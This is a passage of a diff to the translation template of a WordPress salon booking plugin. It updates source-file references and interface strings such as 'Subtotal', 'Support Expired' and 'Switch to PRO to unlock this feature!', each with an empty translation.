System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:84\n+msgid \"Subtotal\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:221, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:221, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:221, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:221\n-msgid \"Service saved.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:168\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:168\n+msgid \"Success!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:223, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:223, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:223\n-msgid \"Service submitted.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:99\n+#, php-format\n+msgid \"Successfully rolled back to version %s\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the date\n-#: src\u002FSLN\u002FPostType\u002FService.php:227, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:227, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:227, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:227\n-msgid \"Service scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:29\n+msgid \"Sunday\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:234, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:234, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:234, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:234\n-msgid \"Service draft updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:19\n+msgid \"Support\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:260, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:260, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:260\n-msgid \"Salon Service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:440\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:440\n+msgid \"\"\n+\"Support data is cached for 24 hours. Click \\\"Refresh\\\" to update immediately.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:262, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:262, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:262\n-msgid \"Add Service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:80\n+msgid \"Support Expired\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:263, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:263, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:263\n-msgid \"Add New Service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:414\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:414\n+msgid \"Support Expiring Soon\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:264, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:264, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:264\n-msgid \"Edit Service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:350\n+msgid \"Support Status\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:265, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:265, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:265\n-msgid \"New Service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:391\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:391\n+msgid \"Support until:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:266, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:266, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:266\n-msgid \"View Service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:320\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:320\n+msgid \"Support Verification Error\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:267, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:267, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:267\n-msgid \"Search Services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:231\n+msgid \"Suspicious activity detected. Please contact us if you need assistance.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:268, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:268, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:268, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:268\n-msgid \"No services found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:12\n+msgid \"Switch to \\\"ADVANCED \u002F Availability method\\\" to set custom duration\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:269, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:269, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:269\n-msgid \"No services found in trash\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:48\n+msgid \"Switch to \u003Cstrong>PR\u003Cspan>O\u003C\u002Fspan>\u003C\u002Fstrong>\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FService.php:270, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:270, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:270\n-msgid \"Services Archive\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:533\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:533\n+msgid \"Switch to PRO to unlock the \\\"Quick approval\\\"\"\n msgstr \"\"\n \n-#. translators: %s Prop name.\n-#: src\u002FSLN\u002FPrivacy\u002FErasers.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPrivacy\u002FErasers.php:27\n-msgid \"Removed customer \\\"%s\\\"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14\n+msgid \"Switch to PRO to unlock this feature!\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_pro_feature_tooltip.php:14\n+msgid \"Switch to PRO to unlock this feature! Click to know more.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:76\n+msgid \"Switch to PRO version today, and get access to all available features.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:88\n+msgid \"Synchronize Bookings\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:21\n+msgid \"Synchronize your reservation on your Google Calendar account.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:105\n+msgid \"Take Photo\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tax.php:40\n+msgid \"TAX\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:417\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:417\n+msgid \"Tax\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:40\n msgctxt \"taxonomy general name\"\n msgid \"Service Categories\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:41\n msgctxt \"taxonomy singular name\"\n msgid \"Service Category\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42\n-msgid \"Search Service Category\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:138\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon 